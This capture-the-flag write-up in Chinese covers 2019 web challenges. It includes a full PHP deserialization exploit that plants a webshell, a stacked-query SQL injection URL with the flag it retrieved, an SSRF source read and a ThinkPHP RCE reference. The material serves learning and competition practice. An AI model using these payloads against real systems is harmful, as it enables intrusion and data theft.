upload
www.tar.gz
源代码泄露
审计代码发现使用的路由
Route::post("login",'web/login/login');
Route::get("index",'web/index/index');
Route::get("home","web/index/home");
Route::post("register","web/register/register");
Route::get("logout","web/index/logout");
Route::post("upload","web/profile/upload_img");
Route::miss('web/index/index')
在 controller 里面阅读逻辑,发现
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
可以构造反序列化,寻找业务上的生成点,在 profile 中,调用链为 upload_img
-update_img
-update_cookie
。并且存在魔法函数
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
猜测是反序列化,调用 profile 的方法触发 call,利用 get 返回函数名,可以实现任意函数执行,但没有含参的函数,不能构造代码执行。
但是可以将原来的 png 转为 php,利用:
@copy($this->filename_tmp, $this->filename);
那我们就需要调用 upload_img函数,寻找 POP 链,在 register 里面有
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
调用了 index,根据之前的 if($this->{$name})
,可以构造except['index']=upload_img
。
exp 如下,结果填入到 cookie,刷新 /index.php/home
,可在 upload 看到 webshell,flag 在 /flag
<?php
namespace app\web\controller;
//use think\Controller;
class Register //extends Controller
{
public $checker;
public $registed;
public function __construct()
{
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
class Profile //extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __construct()
{
$this->upload_menu="2e25bf05f23b63a5b1f744933543d723";
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
$a=new Profile();
$a->checker=0;
$a->ext=1;
$a->filename_tmp="../public/upload/2e25bf05f23b63a5b1f744933543d723/8fc414ee6fa76c46440da2841aa316db.png";
$a->filename="../public/upload/s.php";
$a->except=array('index'=>'upload_img');
$aa=new Register();
$aa->registed=0;
$aa->checker=$a;
print(base64_encode(serialize($aa)));
高明的黑客
队友做的,但是看了其他师傅的 wp,发现成熟一点的思路还是匹配出 GET 或者 POST 的参数,然后提交 echo xx
这种 eval 和 system 都能执行的语句,匹配结果。
随便注
解法 1
堆叠查询,利用 prepare 调用。
https://dev.mysql.com/doc/refman/5.5/en/sql-syntax-prepared-statements.html
https://blog.csdn.net/lqx_sunhan/article/details/79852063
http://117.78.39.172:31640/?inject=0';SET+@SQLString=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE+test+FROM+@SQLString;EXECUTE+test;#
array(0) {<br />
}<br />
array(1) {<br />
[0]=><br />
array(1) {<br />
["flag"]=><br />
string(38) "flag{1c416f91263eaf076feebc2771bc40ad}"<br />
}<br />
解法 2
读了下其他师傅的 wp,还可以通过 alter 更改表名,让当前的查询把 flag 查出来。
首先 ?inject=1%27;show tables;
得到表名,然后 show columns from `1919810931114514`
得到列名,思路就是把 1919810931114514
改成 words
, alter table words rename xxx;alter table `1919810931114514` rename words;
可是前者少一个 id 列,这里可以把 flag 列改为 id,或者单独加一个 id 列。
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
alter table `words` add(id int default 1);
ref:
https://altman.vip/2019/05/27/QWB2019-writeup/#随便注
https://www.zhaoj.in/read-5873.html
Babywebbb
可参考:
https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/#babywebbb
https://github.com/r3kapig/CTF-challenge/tree/master/20190528-qwb
babywp
POST /index.php?page=info HTTP/1.1
Host: 119.3.243.70:18888
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://119.3.243.70:18888/index.php?page=info
Cookie: PHPSESSID=nm9tbgqdqb6b0sthao5r6d4id1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
secret=123&url=http://xxxx/x.png
secret 有长度限制,有过滤 '等符号 并且 url 对协议过滤 file://
提示 bof,usercontrol,发现 secret 长度过长出错
# 0x01 UserControl
* Register
1 USERNAME PASSWORD
* Login
2 USERNAME PASSWORD
* Auth
3 SESSION
* Secret
Not Finished ..
# 0x02 Makefile
usercontrol: usercontorl.c
cc -g -I../src -o usercontrol usercontrol.c -I../src -L.. -liniparser -z execstack -D_FORTIFY_SOURCE=2 -z relro -fpic -z now -s -pie -fPIE
栈执行,PIE 开了,不知道能不能打印 /proc/self/maps
感觉像是 secret 存在溢出,题目说 bof's offset is 1064, and u need address of stack,需要 leak 栈地址
还给了个内网地址 172.17.0.2:9999
智能门锁
/demo/get_info.php?url
SSRF 可以读源码,部分源码如下:
cmdline:php-fpm: pool www
index.php
<?php
require_once('waf.php');
require_once('login_check.php');
date_default_timezone_set('Asia/Shanghai');
$start_time = strtotime("2019-5-1 16:00:10");
$difference = time() - $start_time;
$days = (int)($difference / 86400);
$hours = (int)($difference % 86400 / 3600);
$minus = (int)($difference % 86400 % 3600 / 60);
$online_time = "{$days}天{$hours}小时{$minus}分";
$system_announce_url = "https://factory.ctf.aoicloud.com/announce.php";
$local__announce_url = "https://factory.ctf.aoicloud.com/demo/announce.php";
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>智能锁管理后台</title>
<link crossorigin="anonymous" integrity="sha384-9gVQ4dYFwwWSjIDZnLEWnxCjeSWFphJiwGPXr1jddIhOegiu1FwO5qRGvFXOdJZ4" href="https://lib.baomitu.com/twitter-bootstrap/4.1.0/css/bootstrap.min.css" rel="stylesheet">
<script src="https://cdn.staticfile.org/jquery/3.2.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.12.5/umd/popper.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.1.0/js/bootstrap.min.js"></script>
</head>
<body>
<nav class="navbar navbar-expand-sm bg-dark navbar-dark"> <a class="navbar-brand" href="#">睿智牌</a>
<ul class="navbar-nav">
<li class="nav-item"> <a class="nav-link" href="index.php">系统状态</a>
</li>
<li class="nav-item"> <a class="nav-link" href="locks.php">门锁管理</a>
</li>
<li class="nav-item"> <a class="nav-link" href="settings.php">系统设置</a>
</li>
</ul>
</nav>
<div class="container mt-5">
<div class="row">
<div class="col-md-6">
<div class="card">
<div class="card-header bg-info text-white">
<h3>系统状态</h3>
</div>
<div class="card-body">
<div class="card-text">
<p>系统已接入门锁:<code> 3 </code> 个</p>
<p>当前在线门锁:<code> 3 </code> 个, 在线率:<code> 100% </code></p>
<p>系统已运行时间:<code><?php echo $online_time; ?></code></p>
</div>
</div>
</div>
</div>
<div class="col-md-6">
<div class="card ">
<div class="card-header bg-primary text-white">
<div class="card-title">
<h3>通知公告</h3>
</div>
</div>
<div class="card-body" id="accordion">
</div>
</div>
</div>
</div>
</div>
<script>
$(function(){
$.getJSON("get_info.php", {url: "<?php echo $system_announce_url; ?>"}, function(data){
let index = 0;
data.forEach(function(announce){
index += 1;
$('#accordion').append('<div class="card">\
<div class="card-header">\
<a class="card-link" data-toggle="collapse" href="#collapsea'+index+'">'+announce.title+'(来自:智能锁通知)</a>\
</div>\
<div id="collapsea'+index+'" class="collapse show" data-parent="#accordion">\
<div class="card-body">'+announce['info']+'</div>\
</div>\
</div>');
});
});
$.getJSON("get_info.php", {url: "<?php echo $local__announce_url; ?>"}, function(data){
let index = 0;
data.forEach(function(announce){
index += 1;
$('#accordion').append('<div class="card">\
<div class="card-header">\
<a class="card-link" data-toggle="collapse" href="#collapsea'+index+'">'+announce.title+'(来自:智能锁通知)</a>\
</div>\
<div id="collapsea'+index+'" class="collapse show" data-parent="#accordion">\
<div class="card-body">'+announce['info']+'</div>\
</div>\
</div>');
});
});
});
</script>
</body>
</html>
waf.php
<?php
function get_real_ip(){
$ip=false;
if(!empty($_SERVER['HTTP_CLIENT_IP'])){
$ip=$_SERVER['HTTP_CLIENT_IP'];
}
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ips=explode (', ', $_SERVER['HTTP_X_FORWARDED_FOR']);
if($ip){ array_unshift($ips, $ip); $ip=FALSE; }
for ($i=0; $i < count($ips); $i++){
if(!eregi ('^(10│172.16│192.168).', $ips[$i])){
$ip=$ips[$i];
break;
}
}
}
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
return;
$client_ip = explode('.', get_real_ip());
if ($client_ip[0] != '192' and $client_ip[1] != '168') {
die("访问ip段不正确");
}
get_info.php
<?php //require_once( 'waf.php'); require_once( 'login_check.php');
class Curl
{
private $curl;
private $url;
private $content;
public function __construct()
{
$this->reload();
}
public function reload()
{
if (is_resource($this->curl)) {
curl_close($this->curl);
}
$this->curl = curl_init();
curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, true);
$this->returnHeader(true);
$this->setTimeout(10);
$this->setUA("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36");
return $this;
}
public function createFile($fileName)
{
return curl_file_create($fileName, 'image/jpeg', '1.jpg');
}
public function ignoreSSL()
{
curl_setopt($this->curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($this->curl, CURLOPT_SSL_VERIFYPEER, 0);
}
public function setUA($ua)
{
curl_setopt($this->curl, CURLOPT_USERAGENT, $ua);
return $this;
}
public function setUrl($url)
{
// if ($reload) {
// $this->reload();
// }
$this->url = $url;
curl_setopt($this->curl, CURLOPT_URL, $url);
return $this;
}
public function returnHeader($bool)
{
curl_setopt($this->curl, CURLOPT_HEADER, ($bool == true) ? 1 : 0);
return $this;
}
public function returnBody($bool)
{
curl_setopt($this->curl, CURLOPT_NOBODY, ($bool == false) ? 1 : 0);
return $this;
}
public function setHeader($arr)
{
curl_setopt($this->curl, CURLOPT_HTTPHEADER, $arr);
return $this;
}
public function setCookie($cookies)
{
$payload = '';
foreach ($cookies as $key => $cookie) {
$payload .= "$key=" . urlencode($cookie) . "; ";
}
curl_setopt($this->curl, CURLOPT_COOKIE, $payload);
return $this;
}
public function setReferer($referer)
{
curl_setopt($this->curl, CURLOPT_REFERER, $referer);
return $this;
}
public function setGet($get)
{
$payload = '?';
foreach ($get as $key => $content) {
$payload .= urlencode($key) . '=' . urlencode($content) . '&';
}
$url = $this->url . $payload;
$url = substr($url, 0, strlen($url) - 1);
curl_setopt($this->curl, CURLOPT_URL, $url);
return $this;
}
public function setPost($post)
{
$payload = '';
foreach ($post as $key => $content) {
$payload .= urlencode($key) . '=' . urlencode($content) . '&';
}
curl_setopt($this->curl, CURLOPT_POSTFIELDS, $payload);
return $this;
}
public function setRawPost($post)
{
curl_setopt($this->curl, CURLOPT_POSTFIELDS, $post);
return $this;
}
public function setContentType($type)
{
curl_setopt($this->curl, CURLOPT_HTTPHEADER, [
"Content-Type: $type"
]);
return $this;
}
public function setTimeout($timeout)
{
curl_setopt($this->curl, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($this->curl, CURLOPT_TIMEOUT, $timeout);
return $this;
}
public function keepCookie()
{
curl_setopt($this->curl, CURLOPT_COOKIEJAR, '');
curl_setopt($this->curl, CURLOPT_COOKIEFILE, '');
return $this;
}
public function exec()
{
$this->content = curl_exec($this->curl);
// $this->reload();
return $this->content;
}
public function getStatusCode()
{
return curl_getinfo($this->curl, CURLINFO_HTTP_CODE);
}
public function getCookie()
{
preg_match_all('/Set-Cookie: (.*);/iU', $this->content, $this->cookies);
$payload = [];
foreach ($this->cookies[1] as $this->cookie) {
$key = explode('=', $this->cookie);
if (isset($payload[$key[0]]) and $payload[$key[0]] !== '') {
continue;
}
$payload[$key[0]] = $key[1];
}
return $payload;
}
public function getLocation()
{
if (preg_match('/Location: (.*)$/m', $this->content, $location)) {
return $location[1] ? substr($location[1], 0, strlen($location[1]) - 1) : '';
}
return '';
}
public function getContent()
{
return $this->content;
}
public function isError()
{
return (curl_errno($this->curl)) ? true : false;
}
}
// echo $_GET['url'];s
// var_dump($_GET['url']);
// die();
$curl = new Curl();
$curl->setUrl($_GET['url']);
echo $curl->returnHeader(false)->exec();
后面分析固件的思路卡的很难受,一血队伍 @Object 分享了他们的 WP
上单
https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
payload 可以直接打